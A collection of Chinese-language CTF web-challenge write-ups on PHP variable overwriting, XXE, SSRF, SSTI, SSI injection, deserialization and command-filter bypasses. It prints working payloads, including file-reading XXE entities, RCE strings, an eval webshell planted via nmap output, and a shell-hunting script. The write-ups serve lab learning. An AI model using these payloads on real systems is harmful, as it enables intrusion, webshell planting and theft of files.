变成了语句: preg_replace('/(.*)/ei', 'strtolower("\\1")',{${getFlag()}});

这样通过preg_replace后就会运行getflag函数,但是由于php特性.传入后会变为_所以这里要利用正则匹配中的\S

所以传入的payload为\S*={${getFlag()}}

\S 在php正则表达式中表示匹配所有非空字符,*表示多次匹配

最终payload为?\S*={${getFlag()}}&cmd=system("cat /flag");

image-20210809001841771

[BJDCTF2020]Mark loves cat

整吐了知道是git泄露但是用githack扫完之后就是没有源码。。。

借一下百度的wp的源码

index.php

<?php
include 'flag.php';

$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach($_POST as $x => $y){
    $$x = $y;
}

foreach($_GET as $x => $y){
    $$x = $$y;
}

foreach($_GET as $x => $y){
    if($_GET['flag'] === $x && $x !== 'flag'){
        exit($handsome);
    }
}

if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($yds);
}

if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
    exit($is);
}

echo "the flag is: ".$flag;

flag.php

<?php 
$flag = file_get_contents('/flag');

前两个foreach语句分别将POST参数和GET参数进行变量覆盖,接着是三个if语句,exit()函数退出脚本的同时输出变量,最后一句是输出我们想要的flag。

首先我们想到的是让脚本执行到最后一句echo $flag;,但即使绕过三个if语句,我们GET传参或者POST传参的flag总会被变量覆盖:如我们GET传参flag=aaa,在第二个foreach语句中变成$flag = $aaa,而$aaa变量没有定义为空,最后的输出就是空

但是由于变量覆盖的原因最终不会显示flag

exit()函数虽然会退出执行,但也会输出其参数,我们可以利用变量覆盖将exit()函数内的参数用$flag覆盖掉就能输出flag了;

所以我们可以借助后两个if语句中的exit来输出flag

当我们get yds=flag时,满足第二个if判断,而由于第一个foreach语句,$yds=$flag,所以最终就会变成exit($flag);

还可以借助第三个if语句,当我们get flag=flag&is=flag后经过第二个foreach语句$flag=$flag,$is=$flag对flag自身无影响,又因为满足第三个if语句,也会输出flag值

BJDCTF2020]Mark loves cat (两种解法)(变量覆盖漏洞)_Zero_Adam的博客-CSDN博客

BJDCTF2020]Mark loves cat_qtL0ng的博客-CSDN博客

[安洵杯 2019]easy_web

进入后看到img参数像base64,解码两次再用16进制转字符串会变成555.png

image-20210811181026268

所以为了想读取源码,我们将index.php按照相同的方式加密后变为

TmprMlpUWTBOalUzT0RKbE56QTJPRGN3

修改后替换img原来的值,发现依旧返回了一大串base64编码,解码后可获得源码

image-20210811181304356

image-20210811181317988

重点:

if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    echo("forbid ~");
    echo "<br>";
} else {
    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;
    } else {
        echo ("md5 is funny ~");
    }
}

先看第二个if里的md5的比较,传数组或者传md5值为0e开头的都没法绕过去

(1条消息) 浅谈PHP中哈希比较缺陷问题及哈希强比较相关问题_末初 · mochu7-CSDN博客

MD5碰撞的一些例子 - 简书 (jianshu.com)

从这两篇文章里能找到存在文件十六进制字节流数据的哈希值相等

再考虑到要将一些不可见字符传到服务器,这里可以使用url编码

最终

a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

这里要绕过两个if语句,然后执行cmd中的参数,所以可以利用反斜杠绕过,在正则表达式中三个反斜杠才能匹配到反斜杠,

(1条消息) 【PHP】之4个反斜杠、3个反斜杠的情况_Hertter的博客-CSDN博客

为什么3反斜杠在php中等于4反斜杠? - Thinbug

题目里的正则其实有些问题,所以虽然存在了四个反斜杠但是依旧没有过滤掉反斜杠

贴个大佬的文章

从一道CTF的非预期解看PHP反斜杠匹配问题 - 简书 (jianshu.com)

可以先用dir查看目录

image-20210811185153589

ca\t%20/flag来绕过第一个if

用\的原因是因为在linux下行尾输\可以换行并且继续输入命令

这里正则匹配漏了uniq和sort,用这俩也能拿到flag

image-20210811190241730

image-20210811190251827

[网鼎杯 2020 朱雀组]phpweb

先抓包

image-20210811225117333

发现有两个post的参数

然后根据报错的信息

image-20210811225205171

这里用了call_user_func函数,也就是func是函数名,p是参数

用system试时发现被过滤了,发现file_get_contents函数可以用

file_get_contents拿源码

<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
    $result = call_user_func($func, $p);
    $a= gettype($result);
    if ($a == "string") {
        return $result;
    } else {return "";}
}
class Test {
    var $p = "Y-m-d h:i:s a";
    var $func = "date";
    function __destruct() {
        if ($this->func != "") {
            echo gettime($this->func, $this->p);
        }
    }
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];

if ($func != null) {
    $func = strtolower($func);
    if (!in_array($func,$disable_fun)) {
        echo gettime($func, $p);
    }else {
        die("Hacker...");
    }
}
?>

由于这个过滤不存在于test中,所以可以利用反序列化来执行命令

利用find命令来查找文件名中有flag的文件

image-20210811224457971

image-20210811224439715

最后用file_get_contents来查看文件

image-20210811224611612

[NCTF2019]Fake XML cookbook

看到这题目第一眼就感觉是xxe漏洞,正好趁这个机会把xml学一下

从XML相关一步一步到XXE漏洞 - 先知社区 (aliyun.com)

NCTF2019]Fake XML cookbook_sgnbi~的博客-CSDN博客

浅谈XML实体注入漏洞 - FreeBuf网络安全行业门户

- XML被设计为传输和存储数据,其焦点是数据的内容。

- HTML被设计用来显示数据,其焦点是数据的外观。

基本语法:

- 所有 XML 元素都须有关闭标签。

- XML 标签对大小写敏感。

- XML 必须正确地嵌套。

- XML 文档必须有根元素。

- XML 的属性值须加引号。

- 实体引用,如果你把字符 "<" 放在 XML元素中,会发生错误,这是因为解析器会把它当作新元素的开始。这样会产生XML错误:

image-20210812002508519

<bookstore> <!--根元素-->
<book category="COOKING"> <!--bookstore的子元素,category为属性-->
<title>Everyday Italian</title>      <!--book的子元素,lang为属性-->
<author>Giada De Laurentiis</author>       <!--book的子元素-->
<year>2005</year> <!--book的子元素-->
<price>30.00</price> <!--book的子元素-->
</book> <!--book的结束-->
</bookstore> <!--bookstore的结束-->

DTD

文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。DTD可被成行地声明于XML文档中,也可作为一个外部引用。带有DTD的XML文档实例

<?xml version="1.0"?>
<!DOCTYPE note [<!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)><!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)><!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)><!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)><!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)><!--定义body元素为”#PCDATA”类型-->
]>
<note>
<to>Y0u</to>
<from>@re</from>
<head>v3ry</head>
<body>g00d!</body>
</note>

当使用外部DTD时,通过如下语法引入。

<!DOCTYPE root-element SYSTEM "filename">

外部DTD实例

<?xml version="1.0"?>
<!DOCTYPE root-element SYSTEM "test.dtd">
<note>
<to>Y0u</to>
<from>@re</from>
<head>v3ry</head>
<body>g00d!</body>
</note>

test.dtd:

<!ELEMENT to (#PCDATA)><!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)><!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)><!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)><!--定义body元素为”#PCDATA”类型-->

PCDATA的意思是被解析的字符数据。PCDATA是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。文本中的标签会被当作标记来处理,而实体会被展开。

内部实体示例代码

<?xml version = "1.0" encoding = "utf-8"?>
<!DOCTYPE test [
    <!ENTITY writer "Dawn">
    <!ENTITY copyright "Copyright W3School.com.cn">
]>
<test>&writer;©right;</test>

外部实体示例代码

<?xml version = "1.0" encoding = "utf-8"?>
<!DOCTYPE test [
    <!ENTITY file SYSTEM "file:///etc/passwd">
    <!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
]>
<author>&file;©right;</author>

XXE漏洞简介

XXE漏洞全称XML External Entity Injection 即XML外部实体注入。
XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件和代码,造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等危害。
XXE漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。

image-20210812004625128

通过各种协议可以实现xxe注入,例如利用file://来访问本地文件系统

解析xml在php库libxml,libxml>=2.9.0的版本中没有XXE漏洞。
simplexml_load_string()可以读取XML

简单的payload

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<xml>
<xxe>&file;</xxe>
</xml>


<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
  <!ENTITY admin SYSTEM "file:///flag">
  ]>
<user><username>&admin;</username><password>123456</password></user>

题解:

抓包,能看出是用xml进行传输数据

image-20210812003649956

直接上payload

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
  <!ENTITY admin SYSTEM "file:///flag">
  ]>
<user><username>&admin;</username><password>123456</password></user>

image-20210812004223242

[BSidesCF 2020]Had a bad day

看这个url,试试伪协议读取

image-20210812163436662

多了个php

image-20210812163515084

所以可以用这个来读源码?category=php://filter/read=convert.base64-encode/resource=index

base64解码后的重点

<?php
$file = $_GET['category'];

if(isset($file))
{
	if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
		include ($file . '.php');
	}
	else{
		echo "Sorry, we currently only support woofers and meowers.";
	}
}
?>

存在flag.php页面,之后就是想办法把他读出来

image-20210812163740442

接下来有一个

php伪协议嵌套的知识点

PHP伪协议可以将某个文件或文件夹包含在php://filter/convert.base64-encode/resource=flag中。比如:php://filter/convert.base64-encode/index/resource=flag

这样就能绕过if的判断,读取flag文件

image-20210812164621882

[ASIS 2019]Unicorn shop

image-20210812165152600

输入id和价格,应该是购买独角兽,而且price只允许输入一位数,前三个买的时候都显示

image-20210812165251531

但是因为price的输入限制,所以我猜这里应该是要想办法购买第四个独角兽

这里要利用Unicode的编码,查找一个大于1337的字符

https://www.compart.com/en/unicode/

比如这个

image-20210812165952292

成功拿到flag

image-20210812170021095

image-20210812170027487

image-20210812220813990

看一眼hint

image-20210812220919778

flag页面的登录框

image-20210812221024199

这里存在ssti注入

image-20210812220731194

可以试出来是twig模板,根据提示注入点应该在cookie里,抓包

通过修改user内容实现注入

一篇文章带你理解漏洞之 SSTI 漏洞 | K0rz3n's Blog

这里是twig1.x版本才有的模板注入,在2.x和3.x版本__self 变量在 SSTI 中早已失去了他的作用,这之后主要通过过滤器来实现攻击https://xz.aliyun.com/t/10056#toc-14

image-20210812221739824

image-20210812221614830

ssti还是不太懂,毕竟我python还是没学会,遇到ssti的题我只能直接找payload,先放在这,等刷完buu第二页题目之后再回头看一遍

[De1CTF 2019]SSRF Me

题目源码

#! /usr/bin/env python

# #encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')

app = Flask(__name__)

secert_key = os.urandom(16)

class Task:
    def __init__(self, action, param, sign, ip):
        self.action = action
        self.param = param
        self.sign = sign
        self.sandbox = md5(ip)
        if(not os.path.exists(self.sandbox)):
            os.mkdir(self.sandbox)

    def Exec(self):
        result = {}
        result['code'] = 500
        if (self.checkSign()):
            if "scan" in self.action:
                tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
                resp = scan(self.param)
                if (resp == "Connection Timeout"):
                    result['data'] = resp
                else:
                    print resp
                    tmpfile.write(resp)
                    tmpfile.close()
                result['code'] = 200
            if "read" in self.action:
                f = open("./%s/result.txt" % self.sandbox, 'r')
                result['code'] = 200
                result['data'] = f.read()
            if result['code'] == 500:
                result['data'] = "Action Error"
        else:
            result['code'] = 500
            result['msg'] = "Sign Error"
        return result
     
    def checkSign(self):
        if (getSign(self.action, self.param) == self.sign):
            return True
        else:
            return False

@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    return getSign(action, param)

@app.route('/De1ta',methods=['GET','POST'])
def challenge():
    action = urllib.unquote(request.cookies.get("action"))
    param = urllib.unquote(request.args.get("param", ""))
    sign = urllib.unquote(request.cookies.get("sign"))
    ip = request.remote_addr
    if(waf(param)):
        return "No Hacker!!!!"
    task = Task(action, param, sign, ip)
    return json.dumps(task.Exec())

@app.route('/')
def index():
    return open("code.txt","r").read()

def scan(param):
    socket.setdefaulttimeout(1)
    try:
        return urllib.urlopen(param).read()[:50]
    except:
        return "Connection Timeout"

def getSign(action, param):
    return hashlib.md5(secert_key + param + action).hexdigest()

def md5(content):
    return hashlib.md5(content).hexdigest()

def waf(param):
    check=param.strip().lower()
    if check.startswith("gopher") or check.startswith("file"):
        return True
    else:
        return False
if __name__ == '__main__':
    app.debug = False
    app.run(host='0.0.0.0',port=9999)

Flask框架,先看路由,geneSign是对传入的param与其他字符串拼接并返回其md5值,De1ta是主要,传入3个参数,以及ip,先判断param是否是gopher或者file开头的参数,不是则过到Task中,并且返回task的Exec()函数结果,另外hint给出提示在flag.txt中有flag

1:/geneSign:获得url中parma参数,通过getSign(action, param)生成摘要
2:/De1ta:获得cookie中的action和sign,waf(param),创建task对象,调用exce()方法,json格式返回
3:/:返回源码

三个函数

def getSign(action, param):
    return hashlib.md5(secert_key + param + action).hexdigest()


def md5(content):
    return hashlib.md5(content).hexdigest()


def waf(param):
    check=param.strip().lower()
    if check.startswith("gopher") or check.startswith("file"):
        return True
    else:
        return False

getSign:返回secert_key + param + action的哈希值
md5:返回content的哈希值
waf:禁止了flie和gopher协议

task类

class Task:
    def __init__(self, action, param, sign, ip):
        self.action = action
        self.param = param
        self.sign = sign
        self.sandbox = md5(ip)
        if(not os.path.exists(self.sandbox)):          #SandBox For Remote_Addr
            os.mkdir(self.sandbox)
def Exec(self):
    result = {}
    result['code'] = 500
    if (self.checkSign()):
        if "scan" in self.action:
            tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
            resp = scan(self.param)
            if (resp == "Connection Timeout"):
                result['data'] = resp
            else:
                print resp
                tmpfile.write(resp)
                tmpfile.close()
            result['code'] = 200
        if "read" in self.action:
            f = open("./%s/result.txt" % self.sandbox, 'r')
            result['code'] = 200
            result['data'] = f.read()
        if result['code'] == 500:
            result['data'] = "Action Error"
    else:
        result['code'] = 500
        result['msg'] = "Sign Error"
    return result

def checkSign(self):
    if (getSign(self.action, self.param) == self.sign):
        return True
    else:
        return False

checkSign:检查cookie中的sign
Exec:检查cookie中的action,如果scan在action中,将param的文件内容写入result.txt,如果read在action中,读出result.txt 的内容

hint提示flag在flag.txt 中,想要读到他
首先:action=scan,param=flag.txt ,将flag.txt的内容读到result.txt中
然后:action=read,将result.txt的内容读出

绕过点:sign
checkSign会检查cookie中的sign==getSign(param,action)
两个困难点:secert_key的值未知

思路:先进入/De1ta中的challenge函数,在Exec中的scan部分中将flag.txt的内容存入result.txt,然后从read部分中将其存到result字典中读出,再以json形式返回到客户端,我们就能得到flag。

写入与读出部分

image-20210908232308596

而如果action中既有scan,又有read,那么就会依次执行scan和read

image-20210908233510363

而为了绕过这个验证,就要利用

image-20210908233542937

让param = flag.txtread

因为action为scan

所以得到的md5值为keyflag.txtreadscan

满足action=readscan param=flag.txt时的值

解题

​ 首先进入genesign页面得到md5(keyflag.txtreadscan)的值作为sign

image-20210908234141816

在到de1ta界面抓包get进param=flag.php,在cookie内加入sign和action

image-20210908234443102

[CISCN 2019 初赛]Love Math

源码

<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
        die("太长了不会算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
        }
    }
    //帮你算出答案
    eval('echo '.$content.';');
}

payload:

$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=tac flag.php
或

$pi=base_convert,$pi(696468,10,36)($pi(8768397090111664438,10,30)(){1})

($pi=base_convert)(22950,23,34)($pi(76478043844,9,34)(dechex(109270211257898)))
或
base_convert(1751504350,10,36)(base_convert(15941,10,36).(dechex(16)^asinh^pi))

image-20220723233130669

image-20220723233250167

CISCN 2019 初赛]Love Math - MustaphaMond - 博客园 (cnblogs.com)

CISCN 2019 初赛]Love Math_羽的博客-CSDN博客

CISCN 2019 初赛]Love Math_分享简单的安全技术-CSDN博客

[WUSTCTF2020]朴实无华

image-20210828220705465

image-20210828220729509

level1

intval() 函数用于获取变量的整数值。

测试:

<?php
    $a = '2e4';
    var_dump($a);
    var_dump(intval($a));
    $b = $a + 1;
    echo $b."\n";
    var_dump($b);
    var_dump(intval($b));

输出

string(3) "2e4"
int(2)
20001
float(20001)
int(20001)

level2

php弱比较,php会将以0x开头的字符串,当进行==弱比较时,会认为是相同的。

所以就变成了找到一个以0e开头的字符串s,并且smd5(s)也是以0e开头的字符串。

0e215962017

level3

**$IFS$9**替代空格,用其他的查看文件命令代替cat

payload:

?num=1e10&md5=0e215962017&get_flag=more$IFS$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

image-20210828221110477

[WesternCTF2018]shrine


import flask
import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')//注册了一个名为FLAG的config,这里基本可以确定是flag。


@app.route('/')
def index():
    return open(__file__).read()


@app.route('/shrine/<path:shrine>')
def shrine(shrine):

    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']//设置黑名单
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s//把黑名单内的内容置空

    return flask.render_template_string(safe_jinja(shrine))


if __name__ == '__main__':
    app.run(debug=True)

ssti注入,先试一个{{7*7}}

image-20210829230144787

接下来就可以考虑在shrine下直接{{config}}即可查看所有app.config内容,但是这题设了黑名单['config','self']并且过滤了括号,但是python还有一个函数叫做url_for,其作用是url是用于构建指定函数的URL,再配合globals,该函数会以字典类型返回当前位置的全部全局变量。这样也可以实现查看的效果

image-20210829230829515

current_app意思应该是当前app,那我们就当前app下的config:

于是可以读到flag

{{url_for.__globals__['current_app'].config}}

image-20210829230933251

也可以用

get_flashed_messages

返回之前在Flask中通过 flash() 传入的闪现信息列表。把字符串对象表示的消息加入到一个消息队列中,然后通过调用 get_flashed_messages() 方法取出(闪现信息只能取出一次,取出后闪现信息会被清空)。

get_flashed_messages.__globals__['current_app'].config

image-20210829231104006

[MRCTF2020]PYWebsite

进去后看源码,有一段js脚本

image-20210906112938529

试了一下这个md5,能解出来但是是付费记录

所以直接看flag.php

image-20210906113351506

“除了购买者和我自己”

那就试试127.0.0.1本地访问

image-20210906113445324

[NPUCTF2020]ReadlezPHP

image-20210907150757059

跳到time.php?source界面看看内容

image-20210907150827681

反序列化构造实现命令执行

eval这里应该是过滤了,可以用assert代替

assert()简介:判断一个表达式是否成立。返回true or false。

当参数为字符串时,会被当作php代码执行。
例如 assert("phpinfo()")  <==>  <?phpinfo()?>

assert与eval的区别

assert把整个字符串参数当php代码执行,eval把合法的php代码执行。

payload:?data=O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}

或者?data=O:8:"HelloPhp":2:{s:1:"a";s:16:"eval($_POST[a]);";s:1:"b";s:6:"assert";}然后post:a=phpinfo

image-20210907151408539

image-20210907153837010

搜索flag就能找到

[CISCN2019 华东南赛区]Web11

xff头的ssti注入,我好像之前做过一个差不多的

界面右上角ip可随意改变,因此可以利用readfile函数读flag

image-20210907155218173

[BJDCTF2020]EasySearch

扫目录,发现index.php.swp界面

image-20210907202133630

要让password前六位md5值为6d0bc1

爆破一下

image-20210907203923885

登录后抓包

image-20210907204116239

这里可以看见一个shtml页面

进入后的页面

image-20210907204437473

这里admin的位置是我们的用户名,这里利用了ssl注入

SSI注入漏洞_Hydra的博客-CSDN博客_ssi注入

(shtml是一种基于SSI技术的文件。SSI 注入全称Server-Side Includes Injection,即服务端包含注入。SSI 是类似于 CGI,用于动态页面的指令。SSI 注入允许远程在 Web 应用中注入脚本来执行代码。SSI是嵌入HTML页面中的指令,在页面被提供时由服务器进行运算,以对现有HTML页面增加动态生成的内容,而无须通过CGI程序提供其整个页面,或者使用其他动态技术。从技术角度上来说,SSI就是在HTML文件中,可以通过注释行调用的命令或指针,即允许通过在HTML页面注入脚本或远程执行任意代码。IIS和Apache都可以开启SSI功能)

(SSI注入的条件:

1.Web 服务器已支持SSI(服务器端包含)

2.Web 应用程序未对对相关SSI关键字做过滤

3.Web 应用程序在返回响应的HTML页面时,嵌入用户输入)

模板就类似于

<!--#exec cmd="文件名称"-->

可以先用ls查看目录找到flag文件,再利用cat查看

image-20210907204923959

访问页面找到flag

image-20210907204713176

[BSidesCF 2019]Futurella

f12源码里有flag

好久没做这么简单的了

[网鼎杯 2020 朱雀组]Nmap

常见的nmap命令

nmap linux 命令 在线中文手册 (51yip.com)

选项 解释
-oN 标准保存
-oX XML保存
-oG Grep保存
-oA 保存到所有格式
-append-output 补充保存文件
选项-oG
将结果Grep保存。

nmap -F -oG test.txt 192.168.23.1
1
选项-oA
该选项可将扫描结果以标准格式、XML格式和Grep格式一次性保存,分别放在.nmap,.xml和.gnmap文件中。

nmap -F -oA test 192.168.3.2

这里就是要用nmap的 -oN命令写shell

' -oN w4ke.txt '

返回host maybe down之后访问w4ke.txt

image-20210907215022693

所以可以试试写个一句话木马上去

' -oN b.phtml  <?php eval($_POST['a']); ?>'

返回了hacker,所以应该是有东西被过滤了

试了一下发现是php被过滤了

可以用其他的进行替代

<?=eval($_POST[a]);?>

利用post传参执行命令

image-20210907221126211

参考链接

网鼎杯 2020 朱雀组]Nmap_浩歌已行的博客-CSDN博客

网鼎杯 2020 朱雀组]Nmap (icode9.com)

[强网杯 2019]高明的黑客

根据题目提示下载压缩包文件,里面存在三千多个php文件

每一个文件里都有shell,我们要找到一个能用的

import requests
import os
import re

url = 'http://22ffcd5e-b2cc-48c3-b7b7-4ba7bcc7d244.node4.buuoj.cn:81/'
path = r'C:\Users\ethe\Desktop\www\src'

ptn_get = re.compile(br"\$_GET\['(\w+)'\]")
ptn_res = re.compile(br'success_hack')

count = 0

for f in list(os.scandir(path)):
    print(str(f)[11:-2])
    count += 1

    with open(f.path, 'rb') as fp:
        data = fp.read()
    for get in set(ptn_get.findall(data)):
        get = get.decode('utf-8')
        cmd = 'echo "success_hack";'

        r = requests.get(url + f.name, params={get: cmd})
        if ptn_res.search(r.content) is not None:
            print(f.name, get)
            exit()

image-20210908221800930

image-20210908221812146

[NCTF2019]True XML cookbook

题目提示xml,抓包后

image-20210909203429736

猜应该是有xxe注入,直接上payload,发现没读取成功

image-20210909203626014

看一看dologin.php的源码

image-20210909204007128

<?php
/**
* autor: c0ny1
* date: 2018-2-7
*/

$USERNAME = 'admin'; //账号
$PASSWORD = '024b87931a03f738fff6693ce0a78c88'; //密码
$result = null;

libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');

try{
	$dom = new DOMDocument();
	$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
	$creds = simplexml_import_dom($dom);

	$username = $creds->username;
	$password = $creds->password;

	if($username == $USERNAME && $password == $PASSWORD){
		$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username);
	}else{
		$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username);
	}	
}catch(Exception $e){
	$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage());
}

header('Content-Type: text/html; charset=utf-8');
echo $result;
?>

但是从这个源码里也找不到flag

还有一个知识xxe可以内网探测存活的主机,获取/etc/hosts文件,我们分别读取关键文件:**/etc/hosts 和 /proc/net/arp**

image-20210909210613519

访问proc/net/arp文件查看有无可利用内网主机

尝试访问一下这个ip,报错

image-20210909211003923

之后c段扫描,找到flag

总的来说,主机上面没有flag,需要去看hosts文件看看内网的主机是否有flag

[CISCN2019 华北赛区 Day1 Web2]ikun

这题感觉有点问题

image-20210912153230545

写脚本找lv6

image-20210912153247599

找到后

很明显钱不够

image-20210912153310649

这里可以抓包改折扣,当折扣足够小的时候就出现一个重定向

image-20210912153400419

接下来的步骤感觉就有点问题了,当直接在burp改路径的时候会直接跳过一个cookie的修改变成admin

image-20210912153441750

但是直接在url栏修改会要求用户是admin

image-20210912153559514

这就要求修改jwt的cookie

认识JWT - 废物大师兄 - 博客园 (cnblogs.com)

image-20210912153646824

这里的c-jwt-crack工具不会用,所以就跳过这部分吧

看登录后的源码看见www.zip路径

image-20210912153753980

下载压缩包后发现全为python文件

这里是利用了python反编译

image-20210912171400636

pickle提供了一个简单的持久化功能。可以将对象以文件的形式存放在磁盘上。

pickle模块只能在python中使用,python中几乎所有的数据类型(列表,字典,集合,类等)都可以用pickle来序列化,
pickle序列化后的数据,可读性差,人一般无法识别。

p = pickle.loads(urllib.unquote(become))

urllib.unquote:将存入的字典参数编码为URL查询字符串,即转换成以key1 = value1 & key2 = value2的形式pickle.loads(bytes_object): 从字节对象中读取被封装的对象,并返回我看了师傅们的博客之后的理解就是,我们构建一个类,类里面的__reduce__python魔术方法会在该类被反序列化的时候会被调用Pickle模块中最常用的函数为:

(1)pickle.dump(obj, file, [,protocol])

    函数的功能:将obj对象序列化存入已经打开的file中。

   参数讲解:

obj:想要序列化的obj对象。
file:文件名称。
protocol:序列化使用的协议。如果该项省略,则默认为0。如果为负值或HIGHEST_PROTOCOL,则使用最高的协议版本。

(2)pickle.load(file)

    函数的功能:将file中的对象序列化读出。

    参数讲解:

file:文件名称。

(3)pickle.dumps(obj[, protocol])

   函数的功能:将obj对象序列化为string形式,而不是存入文件中。

   参数讲解:

obj:想要序列化的obj对象。
protocal:如果该项省略,则默认为0。如果为负值或HIGHEST_PROTOCOL,则使用最高的协议版本。

(4)pickle.loads(string)

   函数的功能:从string中读出序列化前的obj对象。

   参数讲解:

string:文件名称。

 【注】 dump() 与 load() 相比 dumps() 和 loads() 还有另一种能力:dump()函数能一个接着一个地将几个对象序列化存储到同一个文件中,随后调用load()来以同样的顺序反序列化读出这些对象。而在__reduce__方法里面我们就进行读取flag.txt文件,并将该类序列化之后进行URL编码

检测反序列化方法:

全局搜索Python代码中是否含有关键字类似“import cPickle”或“import pickle”等,若存在则进一步确认是否调用cPickle.loads()或pickle.loads()且反序列化的参数可控。

防御方法

1、用更高级的接口__getnewargs()、__getstate__()、__setstate__()等代替__reduce__()魔术方法;

2、进行反序列化操作之前,进行严格的过滤,若采用的是pickle库可采用装饰器实现。

在这里插入图片描述

这里采用reduce

当__reduce__被定义之后,该对象被Pickle时就会被调用我们这里的eval用于重建对象的时候调用,即告诉python如何pickle他们供eval使用的即打开的文件flag.txt其他的参数我们可以不填

百度个脚本

image-20210914214826558

把这个值给become里放包就行

参考链接

Python魔法方法指南_宇宙浪子的专栏-CSDN博客

Python反序列化漏洞的花式利用 - 先知社区 (aliyun.com)


几天之后的补,jwt那个工具环境弄好了

image-20210914215436728

image-20210914215503070

[MRCTF2020]套娃

才发现这就是寒假那个招新赛的原题

image-20210916133220927

下划线可以用.来绕过,第二个if可以利用%0a换行绕过

image-20210916133253226

要求本地登录

